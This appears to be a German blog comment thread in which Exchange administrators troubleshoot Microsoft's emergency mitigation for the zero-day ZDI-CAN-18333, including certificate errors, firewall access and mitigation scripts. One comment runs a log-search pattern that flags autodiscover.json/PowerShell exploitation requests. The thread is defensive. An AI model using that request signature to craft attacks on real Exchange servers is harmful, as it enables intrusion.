Schicke mir bitte einen Screenshot zu (Mail-Adresse im Impressum) – möglichst mit den URLs. Das "Werbenetzwerk" wird durch Google eingebunden – Werbung wird zudem anhand der bereits gesetzten Cookies ausgespielt.
Ich kann nur dann bestimmte URLs und Werbende sperren lassen, wenn ich die Details kenne. Die Aufforderung gilt übrigens auch für ander Blog-Leser.
Alle die EMS aktiviert haben, bekommen jetzt die URL-Rewrite Regel direkt von Microsoft. (die händisch erstellte Regel kann jetzt wieder gelöscht werden)
https://imgur.com/a/JPuQRbs
und hier kann man noch alle bis jetzt veröffentlichten Mitigations einsehen:
https://officeclient.microsoft.com/getexchangemitigations
Gruß iOps
Unsere Exchange Server haben das Update nicht erhalten.
Auf beiden Servern meldet das PS-Script "Test-MitigationServiceConnectivity.ps1": "Message: The Mitigation Service endpoint is accessible from this computer."
Wenn ich dann aber mit dem PS-Script "Get-Mitigations.ps1" die Mitigations auf den Server prüfe heisst es:
Auf Exchange Server 1 (Exchange 2016 aktuelles CU und voll gepatcht):
"WARNING: Connection with Mitigation Endpoint was not successfull. To enable connectivity please refer: https://aka.ms/HelpConnectivityEEMS"
Es werden keine Mitigations angezeigt.
Auf Exchange Server 2 (Exchange 2019 aktuelles CU und voll gepatcht):
"WARNING: Type and Description fields are empty as connection with Mitigation Endpoint was not successful. To enable connectivity please refer : https://aka.ms/HelpConnectivityEEMS"
Hier wird aber zumindest die Test-Mitigation "PING1" als Applied aufgeführt,
Der Zugriff ausgehend auf "officeclient.microsoft.com" ist gewährleistet und funktioniert von beiden Servern aus, sonst würde ja "Test-MitigationServiceConnectivity.ps1" einen Fehler melden.
offensichtlich braucht es also ausgehenden noch Zugriff auf weitere Hosts/Domains, nur finde ich bei Microsoft null Informationen hierzu.
Weiss jemand, was alles erreichbar sein muss, damit der EEMS sauber funktioniert?
Hast du im Anwendungslogs Error 1008 stehen?
Sorry, irgendwie hat das mit dem Antworten vorhin nicht geklappt, daher stehen diese jetzt unten als eigenständige Kommentare.
FYI: Ich habe einen Nachtragsartikel Neues zur Exchange Server 0-day-Schwachstelle ZDI-CAN-18333: Korrekturen, Scripte und EP-Lösung mit einer Übersicht/Zusammenfassung veröffentlicht.
Hab grade mal bei Servern geschaut, und ja, es gibt im Event Log mehrere Einträge mit der ID 1008 vom MSExchange Mitigation Service:
Exception encountered while fetching mitigations : System.AggregateException: One or more errors occurred. —> System.Net.Http.HttpRequestException: An error occurred while sending the request. —> System.Net.WebException: The underlying connection was closed: Could not establish trust relationship for the SSL/TLS secure channel. —> System.Security.Authentication.AuthenticationException: The remote certificate is invalid according to the validation procedure.
Heisst das jetzt, das bei MS was mit dem Zertifikat nicht stimmt, oder auf unserer Seite?
Ich habe mal aufgrund deiner Frage und den bei unseren Server vorhanden EventID 1008 Einträgen etwas gegoogled und es sieht so aus, als könnten unsere Exchange Server die Zertifikatskette der MS Zertifikate nicht validieren, jetzt muss ich nur noch herausfinden, welche Hostnamen wir dazu in den Firewalls freigeben müssen.
Guten Tag
Leider bin ich nicht so ein Crack wie wohl die meisten hier.
Habe mal den Befehl wie oben gelistet auf meinem Exchange 2019 ausgeführt:
Get-ChildItem -Recurse -Path -Filter "*.log" | Select-String -Pattern 'powershell.*autodiscover\.json.*\@.*200'
Oh, da wird mir einiges angezeigt, aber wenn ich dem Datum der Einträge glauben kann, kommt alles aus August 2021???
Es wäre super, wenn mal jemand etwas zu den erwartenden Ausgaben schreiben könnte und was dann auch zu tun ist (auch Bilder wären sehr hilfreich).
Besten Dank im Voraus